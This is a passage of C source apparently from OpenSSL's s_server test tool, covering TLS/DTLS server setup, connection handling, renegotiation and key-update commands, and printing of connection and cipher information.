(psk_key != NULL) { if (s_debug) BIO_printf(bio_s_out, "PSK key given, setting server callback\n"); SSL_CTX_set_psk_server_callback(ctx, psk_server_cb); } if (!SSL_CTX_use_psk_identity_hint(ctx, psk_identity_hint)) { BIO_printf(bio_err, "error setting PSK identity hint to context\n"); ERR_print_errors(bio_err); goto end; } #endif if (psksessf != NULL) { BIO *stmp = BIO_new_file(psksessf, "r"); if (stmp == NULL) { BIO_printf(bio_err, "Can't open PSK session file %s\n", psksessf); ERR_print_errors(bio_err); goto end; } psksess = PEM_read_bio_SSL_SESSION(stmp, NULL, 0, NULL); BIO_free(stmp); if (psksess == NULL) { BIO_printf(bio_err, "Can't read PSK session file %s\n", psksessf); ERR_print_errors(bio_err); goto end; } } if (psk_key != NULL || psksess != NULL) SSL_CTX_set_psk_find_session_callback(ctx, psk_find_session_cb); SSL_CTX_set_verify(ctx, s_server_verify, verify_callback); if (!SSL_CTX_set_session_id_context(ctx, (void *)&s_server_session_id_context, sizeof(s_server_session_id_context))) { BIO_printf(bio_err, "error setting session id context\n"); ERR_print_errors(bio_err); goto end; } /* Set DTLS cookie generation and verification callbacks */ SSL_CTX_set_cookie_generate_cb(ctx, generate_cookie_callback); SSL_CTX_set_cookie_verify_cb(ctx, verify_cookie_callback); /* Set TLS1.3 cookie generation and verification callbacks */ SSL_CTX_set_stateless_cookie_generate_cb(ctx, generate_stateless_cookie_callback); SSL_CTX_set_stateless_cookie_verify_cb(ctx, verify_stateless_cookie_callback); if (ctx2 != NULL) { SSL_CTX_set_verify(ctx2, s_server_verify, verify_callback); if (!SSL_CTX_set_session_id_context(ctx2, (void *)&s_server_session_id_context, sizeof(s_server_session_id_context))) { BIO_printf(bio_err, "error setting session id context\n"); ERR_print_errors(bio_err); goto end; } tlsextcbp.biodebug = bio_s_out; SSL_CTX_set_tlsext_servername_callback(ctx2, ssl_servername_cb); SSL_CTX_set_tlsext_servername_arg(ctx2, &tlsextcbp); SSL_CTX_set_tlsext_servername_callback(ctx, ssl_servername_cb); SSL_CTX_set_tlsext_servername_arg(ctx, &tlsextcbp); } #ifndef OPENSSL_NO_SRP if (srp_verifier_file != NULL) { srp_callback_parm.vb = SRP_VBASE_new(srpuserseed); srp_callback_parm.user = NULL; srp_callback_parm.login = NULL; if ((ret = SRP_VBASE_init(srp_callback_parm.vb, srp_verifier_file)) != SRP_NO_ERROR) { BIO_printf(bio_err, "Cannot initialize SRP verifier file \"%s\":ret=%d\n", srp_verifier_file, ret); goto end; } SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, verify_callback); SSL_CTX_set_srp_cb_arg(ctx, &srp_callback_parm); SSL_CTX_set_srp_username_callback(ctx, ssl_srp_server_param_cb); } else #endif if (CAfile != NULL) { SSL_CTX_set_client_CA_list(ctx, SSL_load_client_CA_file(CAfile)); if (ctx2) SSL_CTX_set_client_CA_list(ctx2, SSL_load_client_CA_file(CAfile)); } #ifndef OPENSSL_NO_OCSP if (s_tlsextstatus) { SSL_CTX_set_tlsext_status_cb(ctx, cert_status_cb); SSL_CTX_set_tlsext_status_arg(ctx, &tlscstatp); if (ctx2) { SSL_CTX_set_tlsext_status_cb(ctx2, cert_status_cb); SSL_CTX_set_tlsext_status_arg(ctx2, &tlscstatp); } } #endif if (set_keylog_file(ctx, keylog_file)) goto end; if (max_early_data >= 0) SSL_CTX_set_max_early_data(ctx, max_early_data); if (recv_max_early_data >= 0) SSL_CTX_set_recv_max_early_data(ctx, recv_max_early_data); if (rev) server_cb = rev_body; else if (www) server_cb = www_body; else server_cb = sv_body; #ifdef AF_UNIX if (socket_family == AF_UNIX && unlink_unix_path) unlink(host); #endif do_server(&accept_socket, host, port, socket_family, socket_type, protocol, server_cb, context, naccept, bio_s_out); print_stats(bio_s_out, ctx); ret = 0; end: SSL_CTX_free(ctx); SSL_SESSION_free(psksess); set_keylog_file(NULL, NULL); X509_free(s_cert); sk_X509_CRL_pop_free(crls, X509_CRL_free); X509_free(s_dcert); EVP_PKEY_free(s_key); EVP_PKEY_free(s_dkey); sk_X509_pop_free(s_chain, X509_free); sk_X509_pop_free(s_dchain, X509_free); OPENSSL_free(pass); OPENSSL_free(dpass); OPENSSL_free(host); OPENSSL_free(port); X509_VERIFY_PARAM_free(vpm); free_sessions(); OPENSSL_free(tlscstatp.host); OPENSSL_free(tlscstatp.port); OPENSSL_free(tlscstatp.path); SSL_CTX_free(ctx2); X509_free(s_cert2); EVP_PKEY_free(s_key2); #ifndef OPENSSL_NO_NEXTPROTONEG OPENSSL_free(next_proto.data); #endif OPENSSL_free(alpn_ctx.data); ssl_excert_free(exc); sk_OPENSSL_STRING_free(ssl_args); SSL_CONF_CTX_free(cctx); release_engine(engine); BIO_free(bio_s_out); bio_s_out = NULL; BIO_free(bio_s_msg); bio_s_msg = NULL; #ifdef CHARSET_EBCDIC BIO_meth_free(methods_ebcdic); #endif return ret; } static void print_stats(BIO *bio, SSL_CTX *ssl_ctx) { BIO_printf(bio, "%4ld items in the session cache\n", SSL_CTX_sess_number(ssl_ctx)); BIO_printf(bio, "%4ld client connects (SSL_connect())\n", SSL_CTX_sess_connect(ssl_ctx)); BIO_printf(bio, "%4ld client renegotiates (SSL_connect())\n", SSL_CTX_sess_connect_renegotiate(ssl_ctx)); BIO_printf(bio, "%4ld client connects that finished\n", SSL_CTX_sess_connect_good(ssl_ctx)); BIO_printf(bio, "%4ld server accepts (SSL_accept())\n", SSL_CTX_sess_accept(ssl_ctx)); BIO_printf(bio, "%4ld server renegotiates (SSL_accept())\n", SSL_CTX_sess_accept_renegotiate(ssl_ctx)); BIO_printf(bio, "%4ld server accepts that finished\n", SSL_CTX_sess_accept_good(ssl_ctx)); BIO_printf(bio, "%4ld session cache hits\n", SSL_CTX_sess_hits(ssl_ctx)); BIO_printf(bio, "%4ld session cache misses\n", SSL_CTX_sess_misses(ssl_ctx)); BIO_printf(bio, "%4ld session cache timeouts\n", SSL_CTX_sess_timeouts(ssl_ctx)); BIO_printf(bio, "%4ld callback cache hits\n", SSL_CTX_sess_cb_hits(ssl_ctx)); BIO_printf(bio, "%4ld cache full overflows (%ld allowed)\n", SSL_CTX_sess_cache_full(ssl_ctx), SSL_CTX_sess_get_cache_size(ssl_ctx)); } static int sv_body(int s, int stype, int prot, unsigned char *context) { char *buf = NULL; fd_set readfds; int ret = 1, width; int k, i; unsigned long l; SSL *con = NULL; BIO *sbio; struct timeval timeout; #if !(defined(OPENSSL_SYS_WINDOWS) || defined(OPENSSL_SYS_MSDOS)) struct timeval *timeoutp; #endif #ifndef OPENSSL_NO_DTLS # ifndef OPENSSL_NO_SCTP int isdtls = (stype == SOCK_DGRAM || prot == IPPROTO_SCTP); # else int isdtls = (stype == SOCK_DGRAM); # endif #endif buf = app_malloc(bufsize, "server buffer"); if (s_nbio) { if (!BIO_socket_nbio(s, 1)) ERR_print_errors(bio_err); else if (!s_quiet) BIO_printf(bio_err, "Turned on non blocking io\n"); } con = SSL_new(ctx); if (con == NULL) { ret = -1; goto err; } if (s_tlsextdebug) { SSL_set_tlsext_debug_callback(con, tlsext_cb); SSL_set_tlsext_debug_arg(con, bio_s_out); } if (context != NULL && !SSL_set_session_id_context(con, context, strlen((char *)context))) { BIO_printf(bio_err, "Error setting session id context\n"); ret = -1; goto err; } if (!SSL_clear(con)) { BIO_printf(bio_err, "Error clearing SSL connection\n"); ret = -1; goto err; } #ifndef OPENSSL_NO_DTLS if (isdtls) { # ifndef OPENSSL_NO_SCTP if (prot == IPPROTO_SCTP) sbio = BIO_new_dgram_sctp(s, BIO_NOCLOSE); else # endif sbio = BIO_new_dgram(s, BIO_NOCLOSE); if (enable_timeouts) { timeout.tv_sec = 0; timeout.tv_usec = DGRAM_RCV_TIMEOUT; BIO_ctrl(sbio, BIO_CTRL_DGRAM_SET_RECV_TIMEOUT, 0, &timeout); timeout.tv_sec = 0; timeout.tv_usec = DGRAM_SND_TIMEOUT; BIO_ctrl(sbio, BIO_CTRL_DGRAM_SET_SEND_TIMEOUT, 0, &timeout); } if (socket_mtu) { if (socket_mtu < DTLS_get_link_min_mtu(con)) { BIO_printf(bio_err, "MTU too small. Must be at least %ld\n", DTLS_get_link_min_mtu(con)); ret = -1; BIO_free(sbio); goto err; } SSL_set_options(con, SSL_OP_NO_QUERY_MTU); if (!DTLS_set_link_mtu(con, socket_mtu)) { BIO_printf(bio_err, "Failed to set MTU\n"); ret = -1; BIO_free(sbio); goto err; } } else /* want to do MTU discovery */ BIO_ctrl(sbio, BIO_CTRL_DGRAM_MTU_DISCOVER, 0, NULL); # ifndef OPENSSL_NO_SCTP if (prot != IPPROTO_SCTP) # endif /* Turn on cookie exchange. Not necessary for SCTP */ SSL_set_options(con, SSL_OP_COOKIE_EXCHANGE); } else #endif sbio = BIO_new_socket(s, BIO_NOCLOSE); if (sbio == NULL) { BIO_printf(bio_err, "Unable to create BIO\n"); ERR_print_errors(bio_err); goto err; } if (s_nbio_test) { BIO *test; test = BIO_new(BIO_f_nbio_test()); sbio = BIO_push(test, sbio); } SSL_set_bio(con, sbio, sbio); SSL_set_accept_state(con); /* SSL_set_fd(con,s); */ if (s_debug) { BIO_set_callback(SSL_get_rbio(con), bio_dump_callback); BIO_set_callback_arg(SSL_get_rbio(con), (char *)bio_s_out); } if (s_msg) { #ifndef OPENSSL_NO_SSL_TRACE if (s_msg == 2) SSL_set_msg_callback(con, SSL_trace); else #endif SSL_set_msg_callback(con, msg_cb); SSL_set_msg_callback_arg(con, bio_s_msg ? bio_s_msg : bio_s_out); } if (s_tlsextdebug) { SSL_set_tlsext_debug_callback(con, tlsext_cb); SSL_set_tlsext_debug_arg(con, bio_s_out); } if (early_data) { int write_header = 1, edret = SSL_READ_EARLY_DATA_ERROR; size_t readbytes; while (edret != SSL_READ_EARLY_DATA_FINISH) { for (;;) { edret = SSL_read_early_data(con, buf, bufsize, &readbytes); if (edret != SSL_READ_EARLY_DATA_ERROR) break; switch (SSL_get_error(con, 0)) { case SSL_ERROR_WANT_WRITE: case SSL_ERROR_WANT_ASYNC: case SSL_ERROR_WANT_READ: /* Just keep trying - busy waiting */ continue; default: BIO_printf(bio_err, "Error reading early data\n"); ERR_print_errors(bio_err); goto err; } } if (readbytes > 0) { if (write_header) { BIO_printf(bio_s_out, "Early data received:\n"); write_header = 0; } raw_write_stdout(buf, (unsigned int)readbytes); (void)BIO_flush(bio_s_out); } } if (write_header) { if (SSL_get_early_data_status(con) == SSL_EARLY_DATA_NOT_SENT) BIO_printf(bio_s_out, "No early data received\n"); else BIO_printf(bio_s_out, "Early data was rejected\n"); } else { BIO_printf(bio_s_out, "\nEnd of early data\n"); } if (SSL_is_init_finished(con)) print_connection_info(con); } if (fileno_stdin() > s) width = fileno_stdin() + 1; else width = s + 1; for (;;) { int read_from_terminal; int read_from_sslcon; read_from_terminal = 0; read_from_sslcon = SSL_has_pending(con) || (async && SSL_waiting_for_async(con)); if (!read_from_sslcon) { FD_ZERO(&readfds); #if !defined(OPENSSL_SYS_WINDOWS) && !defined(OPENSSL_SYS_MSDOS) openssl_fdset(fileno_stdin(), &readfds); #endif openssl_fdset(s, &readfds); /* * Note: under VMS with SOCKETSHR the second parameter is * currently of type (int *) whereas under other systems it is * (void *) if you don't have a cast it will choke the compiler: * if you do have a cast then you can either go for (int *) or * (void *). */ #if defined(OPENSSL_SYS_WINDOWS) || defined(OPENSSL_SYS_MSDOS) /* * Under DOS (non-djgpp) and Windows we can't select on stdin: * only on sockets. As a workaround we timeout the select every * second and check for any keypress. In a proper Windows * application we wouldn't do this because it is inefficient. */ timeout.tv_sec = 1; timeout.tv_usec = 0; i = select(width, (void *)&readfds, NULL, NULL, &timeout); if (has_stdin_waiting()) read_from_terminal = 1; if ((i < 0) || (!i && !read_from_terminal)) continue; #else if (SSL_is_dtls(con) && DTLSv1_get_timeout(con, &timeout)) timeoutp = &timeout; else timeoutp = NULL; i = select(width, (void *)&readfds, NULL, NULL, timeoutp); if ((SSL_is_dtls(con)) && DTLSv1_handle_timeout(con) > 0) BIO_printf(bio_err, "TIMEOUT occurred\n"); if (i <= 0) continue; if (FD_ISSET(fileno_stdin(), &readfds)) read_from_terminal = 1; #endif if (FD_ISSET(s, &readfds)) read_from_sslcon = 1; } if (read_from_terminal) { if (s_crlf) { int j, lf_num; i = raw_read_stdin(buf, bufsize / 2); lf_num = 0; /* both loops are skipped when i <= 0 */ for (j = 0; j < i; j++) if (buf[j] == '\n') lf_num++; for (j = i - 1; j >= 0; j--) { buf[j + lf_num] = buf[j]; if (buf[j] == '\n') { lf_num--; i++; buf[j + lf_num] = '\r'; } } assert(lf_num == 0); } else { i = raw_read_stdin(buf, bufsize); } if (!s_quiet && !s_brief) { if ((i <= 0) || (buf[0] == 'Q')) { BIO_printf(bio_s_out, "DONE\n"); (void)BIO_flush(bio_s_out); BIO_closesocket(s); close_accept_socket(); ret = -11; goto err; } if ((i <= 0) || (buf[0] == 'q')) { BIO_printf(bio_s_out, "DONE\n"); (void)BIO_flush(bio_s_out); if (SSL_version(con) != DTLS1_VERSION) BIO_closesocket(s); /* * close_accept_socket(); ret= -11; */ goto err; } #ifndef OPENSSL_NO_HEARTBEATS if ((buf[0] == 'B') && ((buf[1] == '\n') || (buf[1] == '\r'))) { BIO_printf(bio_err, "HEARTBEATING\n"); SSL_heartbeat(con); i = 0; continue; } #endif if ((buf[0] == 'r') && ((buf[1] == '\n') || (buf[1] == '\r'))) { SSL_renegotiate(con); i = SSL_do_handshake(con); printf("SSL_do_handshake -> %d\n", i); i = 0; /* 13; */ continue; } if ((buf[0] == 'R') && ((buf[1] == '\n') || (buf[1] == '\r'))) { SSL_set_verify(con, SSL_VERIFY_PEER | SSL_VERIFY_CLIENT_ONCE, NULL); SSL_renegotiate(con); i = SSL_do_handshake(con); printf("SSL_do_handshake -> %d\n", i); i = 0; /* 13; */ continue; } if ((buf[0] == 'K' || buf[0] == 'k') && ((buf[1] == '\n') || (buf[1] == '\r'))) { SSL_key_update(con, buf[0] == 'K' ? SSL_KEY_UPDATE_REQUESTED : SSL_KEY_UPDATE_NOT_REQUESTED); i = SSL_do_handshake(con); printf("SSL_do_handshake -> %d\n", i); i = 0; continue; } if (buf[0] == 'c' && ((buf[1] == '\n') || (buf[1] == '\r'))) { SSL_set_verify(con, SSL_VERIFY_PEER, NULL); i = SSL_verify_client_post_handshake(con); if (i == 0) { printf("Failed to initiate request\n"); ERR_print_errors(bio_err); } else { i = SSL_do_handshake(con); printf("SSL_do_handshake -> %d\n", i); i = 0; } continue; } if (buf[0] == 'P') { static const char *str = "Lets print some clear text\n"; BIO_write(SSL_get_wbio(con), str, strlen(str)); } if (buf[0] == 'S') { print_stats(bio_s_out, SSL_get_SSL_CTX(con)); } } #ifdef CHARSET_EBCDIC ebcdic2ascii(buf, buf, i); #endif l = k = 0; for (;;) { /* should do a select for the write */ #ifdef RENEG static count = 0; if (++count == 100) { count = 0; SSL_renegotiate(con); } #endif k = SSL_write(con, &(buf[l]), (unsigned int)i); #ifndef OPENSSL_NO_SRP while (SSL_get_error(con, k) == SSL_ERROR_WANT_X509_LOOKUP) { BIO_printf(bio_s_out, "LOOKUP renego during write\n"); SRP_user_pwd_free(srp_callback_parm.user); srp_callback_parm.user = SRP_VBASE_get1_by_user(srp_callback_parm.vb, srp_callback_parm.login); if (srp_callback_parm.user) BIO_printf(bio_s_out, "LOOKUP done %s\n", srp_callback_parm.user->info); else BIO_printf(bio_s_out, "LOOKUP not successful\n"); k = SSL_write(con, &(buf[l]), (unsigned int)i); } #endif switch (SSL_get_error(con, k)) { case SSL_ERROR_NONE: break; case SSL_ERROR_WANT_ASYNC: BIO_printf(bio_s_out, "Write BLOCK (Async)\n"); (void)BIO_flush(bio_s_out); wait_for_async(con); break; case SSL_ERROR_WANT_WRITE: case SSL_ERROR_WANT_READ: case SSL_ERROR_WANT_X509_LOOKUP: BIO_printf(bio_s_out, "Write BLOCK\n"); (void)BIO_flush(bio_s_out); break; case SSL_ERROR_WANT_ASYNC_JOB: /* * This shouldn't ever happen in s_server. Treat as an error */ case SSL_ERROR_SYSCALL: case SSL_ERROR_SSL: BIO_printf(bio_s_out, "ERROR\n"); (void)BIO_flush(bio_s_out); ERR_print_errors(bio_err); ret = 1; goto err; /* break; */ case SSL_ERROR_ZERO_RETURN: BIO_printf(bio_s_out, "DONE\n"); (void)BIO_flush(bio_s_out); ret = 1; goto err; } if (k > 0) { l += k; i -= k; } if (i <= 0) break; } } if (read_from_sslcon) { /* * init_ssl_connection handles all async events itself so if we're * waiting for async then we shouldn't go back into * init_ssl_connection */ if ((!async || !SSL_waiting_for_async(con)) && !SSL_is_init_finished(con)) { i = init_ssl_connection(con); if (i < 0) { ret = 0; goto err; } else if (i == 0) { ret = 1; goto err; } } else { again: i = SSL_read(con, (char *)buf, bufsize); #ifndef OPENSSL_NO_SRP while (SSL_get_error(con, i) == SSL_ERROR_WANT_X509_LOOKUP) { BIO_printf(bio_s_out, "LOOKUP renego during read\n"); SRP_user_pwd_free(srp_callback_parm.user); srp_callback_parm.user = SRP_VBASE_get1_by_user(srp_callback_parm.vb, srp_callback_parm.login); if (srp_callback_parm.user) BIO_printf(bio_s_out, "LOOKUP done %s\n", srp_callback_parm.user->info); else BIO_printf(bio_s_out, "LOOKUP not successful\n"); i = SSL_read(con, (char *)buf, bufsize); } #endif switch (SSL_get_error(con, i)) { case SSL_ERROR_NONE: #ifdef CHARSET_EBCDIC ascii2ebcdic(buf, buf, i); #endif raw_write_stdout(buf, (unsigned int)i); (void)BIO_flush(bio_s_out); if (SSL_has_pending(con)) goto again; break; case SSL_ERROR_WANT_ASYNC: BIO_printf(bio_s_out, "Read BLOCK (Async)\n"); (void)BIO_flush(bio_s_out); wait_for_async(con); break; case SSL_ERROR_WANT_WRITE: case SSL_ERROR_WANT_READ: BIO_printf(bio_s_out, "Read BLOCK\n"); (void)BIO_flush(bio_s_out); break; case SSL_ERROR_WANT_ASYNC_JOB: /* * This shouldn't ever happen in s_server. Treat as an error */ case SSL_ERROR_SYSCALL: case SSL_ERROR_SSL: BIO_printf(bio_s_out, "ERROR\n"); (void)BIO_flush(bio_s_out); ERR_print_errors(bio_err); ret = 1; goto err; case SSL_ERROR_ZERO_RETURN: BIO_printf(bio_s_out, "DONE\n"); (void)BIO_flush(bio_s_out); ret = 1; goto err; } } } } err: if (con != NULL) { BIO_printf(bio_s_out, "shutting down SSL\n"); SSL_set_shutdown(con, SSL_SENT_SHUTDOWN | SSL_RECEIVED_SHUTDOWN); SSL_free(con); } BIO_printf(bio_s_out, "CONNECTION CLOSED\n"); OPENSSL_clear_free(buf, bufsize); return ret; } static void close_accept_socket(void) { BIO_printf(bio_err, "shutdown accept socket\n"); if (accept_socket >= 0) { BIO_closesocket(accept_socket); } } static int is_retryable(SSL *con, int i) { int err = SSL_get_error(con, i); /* If it's not a fatal error, it must be retryable */ return (err != SSL_ERROR_SSL) && (err != SSL_ERROR_SYSCALL) && (err != SSL_ERROR_ZERO_RETURN); } static int init_ssl_connection(SSL *con) { int i; long verify_err; int retry = 0; if (dtlslisten || stateless) { BIO_ADDR *client = NULL; if (dtlslisten) { if ((client = BIO_ADDR_new()) == NULL) { BIO_printf(bio_err, "ERROR - memory\n"); return 0; } i = DTLSv1_listen(con, client); } else { i = SSL_stateless(con); } if (i > 0) { BIO *wbio; int fd = -1; if (dtlslisten) { wbio = SSL_get_wbio(con); if (wbio) { BIO_get_fd(wbio, &fd); } if (!wbio || BIO_connect(fd, client, 0) == 0) { BIO_printf(bio_err, "ERROR - unable to connect\n"); BIO_ADDR_free(client); return 0; } (void)BIO_ctrl_set_connected(wbio, client); BIO_ADDR_free(client); dtlslisten = 0; } else { stateless = 0; } i = SSL_accept(con); } else { BIO_ADDR_free(client); } } else { do { i = SSL_accept(con); if (i <= 0) retry = is_retryable(con, i); #ifdef CERT_CB_TEST_RETRY { while (i <= 0 && SSL_get_error(con, i) == SSL_ERROR_WANT_X509_LOOKUP && SSL_get_state(con) == TLS_ST_SR_CLNT_HELLO) { BIO_printf(bio_err, "LOOKUP from certificate callback during accept\n"); i = SSL_accept(con); if (i <= 0) retry = is_retryable(con, i); } } #endif #ifndef OPENSSL_NO_SRP while (i <= 0 && SSL_get_error(con, i) == SSL_ERROR_WANT_X509_LOOKUP) { BIO_printf(bio_s_out, "LOOKUP during accept %s\n", srp_callback_parm.login); SRP_user_pwd_free(srp_callback_parm.user); srp_callback_parm.user = SRP_VBASE_get1_by_user(srp_callback_parm.vb, srp_callback_parm.login); if (srp_callback_parm.user) BIO_printf(bio_s_out, "LOOKUP done %s\n", srp_callback_parm.user->info); else BIO_printf(bio_s_out, "LOOKUP not successful\n"); i = SSL_accept(con); if (i <= 0) retry = is_retryable(con, i); } #endif } while (i < 0 && SSL_waiting_for_async(con)); } if (i <= 0) { if (((dtlslisten || stateless) && i == 0) || (!dtlslisten && !stateless && retry)) { BIO_printf(bio_s_out, "DELAY\n"); return 1; } BIO_printf(bio_err, "ERROR\n"); verify_err = SSL_get_verify_result(con); if (verify_err != X509_V_OK) { BIO_printf(bio_err, "verify error:%s\n", X509_verify_cert_error_string(verify_err)); } /* Always print any error messages */ ERR_print_errors(bio_err); return 0; } print_connection_info(con); return 1; } static void print_connection_info(SSL *con) { const char *str; X509 *peer; char buf[BUFSIZ]; #if !defined(OPENSSL_NO_NEXTPROTONEG) const unsigned char *next_proto_neg; unsigned next_proto_neg_len; #endif unsigned char *exportedkeymat; int i; if (s_brief) print_ssl_summary(con); PEM_write_bio_SSL_SESSION(bio_s_out, SSL_get_session(con)); peer = SSL_get_peer_certificate(con); if (peer != NULL) { BIO_printf(bio_s_out, "Client certificate\n"); PEM_write_bio_X509(bio_s_out, peer); dump_cert_text(bio_s_out, peer); X509_free(peer); peer = NULL; } if (SSL_get_shared_ciphers(con, buf, sizeof(buf)) != NULL) BIO_printf(bio_s_out, "Shared ciphers:%s\n", buf); str = SSL_CIPHER_get_name(SSL_get_current_cipher(con)); ssl_print_sigalgs(bio_s_out, con); #ifndef OPENSSL_NO_EC ssl_print_point_formats(bio_s_out, con); ssl_print_groups(bio_s_out, con, 0); #endif print_ca_names(bio_s_out, con); BIO_printf(bio_s_out, "CIPHER is %s\n", (str != NULL) ? str : "(NONE)"); #if !defined(OPENSSL_NO_NEXTPROTONEG) SSL_get0_next_proto_negotiated(con, &next_proto_neg, &next_proto_neg_len); if (next_proto_neg) { BIO_printf(bio_s_out, "NEXTPROTO is "); BIO_write(bio_s_out, next_proto_neg, next_proto_neg_len); BIO_printf(bio_s_out, "\n"); } #endif #ifndef OPENSSL_NO_SRTP { SRTP_PROTECTION_PROFILE *srtp_profile = SSL_get_selected_srtp_profile(con); if (srtp_profile) BIO_printf(bio_s_out, "SRTP Extension negotiated, profile=%s\n", srtp_profile->name); } #endif if (SSL_session_reused(con)) BIO_printf(bio_s_out, "Reused session-id\n"); BIO_printf(bio_s_out, "Secure Renegotiation IS%s supported\n", SSL_get_secure_renegotiation_support(con) ? "" : " NOT"); if ((SSL_get_options(con) & SSL_OP_NO_RENEGOTIATION)) BIO_printf(bio_s_out, "Renegotiation is DISABLED\n"); if (keymatexportlabel != NULL) { BIO_printf(bio_s_out, "Keying material exporter:\n"); BIO_printf(bio_s_out, " Label: '%s'\n", keymatexportlabel); BIO_printf(bio_s_out, " Length: %i bytes\n", keymatexportlen); exportedkeymat = app_malloc(keymatexportlen, "export key"); if (!SSL_export_keying_material(con, exportedkeymat, keymatexportlen, keymatexportlabel, strlen(keymatexportlabel), NULL, 0, 0)) { BIO_printf(bio_s_out, " Error\n"); } else { BIO_printf(bio_s_out, " Keying material: "); for (i = 0; i < keymatexportlen; i++) BIO_printf(bio_s_out, "%02X", exportedkeymat[i]); BIO_printf(bio_s_out, "\n"); } OPENSSL_free(exportedkeymat); } #ifndef OPENSSL_NO_KTLS if (BIO_get_ktls_send(SSL_get_wbio(con))) BIO_printf(bio_err, "Using Kernel TLS for sending\n"); #endif (void)BIO_flush(bio_s_out); } #ifndef OPENSSL_NO_DH static DH *load_dh_param(const char *dhfile) { DH *ret = NULL; BIO *bio; if ((bio = BIO_new_file(dhfile, "r")) == NULL) goto err; ret = PEM_read_bio_DHparams(bio, NULL, NULL, NULL); err: BIO_free(bio); return ret; } #endif static int www_body(int s, int stype, int prot, unsigned char *context) { char *buf = NULL; int ret = 1; int i, j, k, dot; SSL *con; const SSL_CIPHER *c; BIO *io, *ssl_bio, *sbio; #ifdef RENEG int total_bytes = 0; #endif int width; fd_set readfds; /* Set width for a select call if needed */ width = s + 1; buf = app_malloc(bufsize, "server www buffer"); io = BIO_new(BIO_f_buffer()); ssl_bio = BIO_new(BIO_f_ssl()); if ((io == NULL) || (ssl_bio == NULL)) goto err; if (s_nbio) { if (!BIO_socket_nbio(s, 1)) ERR_print_errors(bio_err); else if (!s_quiet) BIO_printf(bio_err, "Turned on non blocking io\n"); } /* lets make the output buffer a reasonable size */ if (!BIO_set_write_buffer_size(io, bufsize)) goto err; if ((con = SSL_new(ctx)) == NULL) goto err; if (s_tlsextdebug) { SSL_set_tlsext_debug_callback(con, tlsext_cb); SSL_set_tlsext_debug_arg(con, bio_s_out); } if (context != NULL && !SSL_set_session_id_context(con, context, strlen((char *)context))) { SSL_free(con); goto err; } sbio = BIO_new_socket(s, BIO_NOCLOSE); if (s_nbio_test) { BIO *test; test = BIO_new(BIO_f_nbio_test()); sbio = BIO_push(test, sbio); } SSL_set_bio(con, sbio, sbio); SSL_set_accept_state(con); /* No need to free |con| after this. Done by BIO_free(ssl_bio) */ BIO_set_ssl(ssl_bio, con, BIO_CLOSE); BIO_push(io, ssl_bio); #ifdef CHARSET_EBCDIC io = BIO_push(BIO_new(BIO_f_ebcdic_filter()), io); #endif if (s_debug) { BIO_set_callback(SSL_get_rbio(con), bio_dump_callback); BIO_set_callback_arg(SSL_get_rbio(con), (char *)bio_s_out); } if (s_msg) { #ifndef OPENSSL_NO_SSL_TRACE if (s_msg == 2) SSL_set_msg_callback(con, SSL_trace); else #endif SSL_set_msg_callback(con, msg_cb); SSL_set_msg_callback_arg(con, bio_s_msg ? bio_s_msg : bio_s_out); } for (;;) { i = BIO_gets(io, buf, bufsize - 1); if (i < 0) { /* error */ if (!BIO_should_retry(io) && !SSL_waiting_for_async(con)) { if (!s_quiet) ERR_print_errors(bio_err); goto err; } else { BIO_printf(bio_s_out, "read R BLOCK\n"); #ifndef OPENSSL_NO_SRP if (BIO_should_io_special(io) && BIO_get_retry_reason(io) == BIO_RR_SSL_X509_LOOKUP) { BIO_printf(bio_s_out, "LOOKUP renego during read\n"); SRP_user_pwd_free(srp_callback_parm.user); srp_callback_parm.user = SRP_VBASE_get1_by_user(srp_callback_parm.vb, srp_callback_parm.login); if (srp_callback_parm.user) BIO_printf(bio_s_out, "LOOKUP done %s\n", srp_callback_parm.user->info); else BIO_printf(bio_s_out, "LOOKUP not successful\n"); continue; } #endif #if !defined(OPENSSL_SYS_MSDOS) sleep(1); #endif continue; } } else if (i == 0) { /* end of input */ ret = 1; goto end; } /* else we have data */ if (((www == 1) && (strncmp("GET ", buf, 4) == 0)) || ((www == 2) && (strncmp("GET /stats ", buf, 11) == 0))) { char *p; X509 *peer = NULL; STACK_OF(SSL_CIPHER) *sk; static const char *space = " "; if (www == 1 && strncmp("GET /reneg", buf, 10) == 0) { if (strncmp("GET /renegcert", buf, 14) == 0) SSL_set_verify(con, SSL_VERIFY_PEER | SSL_VERIFY_CLIENT_ONCE, NULL); i = SSL_renegotiate(con); BIO_printf(bio_s_out, "SSL_renegotiate -> %d\n", i); /* Send the HelloRequest */ i = SSL_do_handshake(con); if (i <= 0) { BIO_printf(bio_s_out, "SSL_do_handshake() Retval %d\n", SSL_get_error(con, i)); ERR_print_errors(bio_err); goto err; } /* Wait for a ClientHello to come back */ FD_ZERO(&readfds); openssl_fdset(s, &readfds); i = select(width, (void *)&readfds, NULL, NULL, NULL); if (i <= 0 || !FD_ISSET(s, &readfds)) { BIO_printf(bio_s_out, "Error waiting for client response\n"); ERR_print_errors(bio_err); goto err; } /* * We're not actually expecting any data here and we ignore * any that is sent. This is just to force the handshake that * we're expecting to come from the client. If they haven't * sent one there's not much we can do. */ BIO_gets(io, buf, bufsize - 1); } BIO_puts(io, "HTTP/1.0 200 ok\r\nContent-type: text/html\r\n\r\n"); BIO_puts(io, "<HTML><BODY BGCOLOR=\"#ffffff\">\n"); BIO_puts(io, "<pre>\n"); /* BIO_puts(io, OpenSSL_version(OPENSSL_VERSION)); */ BIO_puts(io, "\n"); for (i = 0; i < local_argc; i++) { const char *myp; for (myp = local_argv[i]; *myp; myp++) switch (*myp) { case '<': BIO_puts(io, "&lt;"); break; case '>': BIO_puts(io, "&gt;"); break; case '&': BIO_puts(io, "&amp;"); break; default: BIO_write(io, myp, 1); break; } BIO_write(io, " ", 1); } BIO_puts(io, "\n"); BIO_printf(io, "Secure Renegotiation IS%s supported\n", SSL_get_secure_renegotiation_support(con) ? "" : " NOT"); /* * The following is evil and should not really be done */ BIO_printf(io, "Ciphers supported in s_server binary\n"); sk = SSL_get_ciphers(con); j = sk_SSL_CIPHER_num(sk); for (i = 0; i < j; i++) { c = sk_SSL_CIPHER_value(sk, i); BIO_printf(io, "%-11s:%-25s ", SSL_CIPHER_get_version(c), SSL_CIPHER_get_name(c)); if ((((i + 1) % 2) == 0) && (i + 1 != j)) BIO_puts(io, "\n"); } BIO_puts(io, "\n"); p = SSL_get_shared_ciphers(con, buf, bufsize); if (p != NULL) { BIO_printf(io, "---\nCiphers common between both SSL end points:\n"); j = i = 0; while (*p) { if (*p == ':') { BIO_write(io, space, 26 - j); i++; j = 0; BIO_write(io, ((i % 3) ? " " : 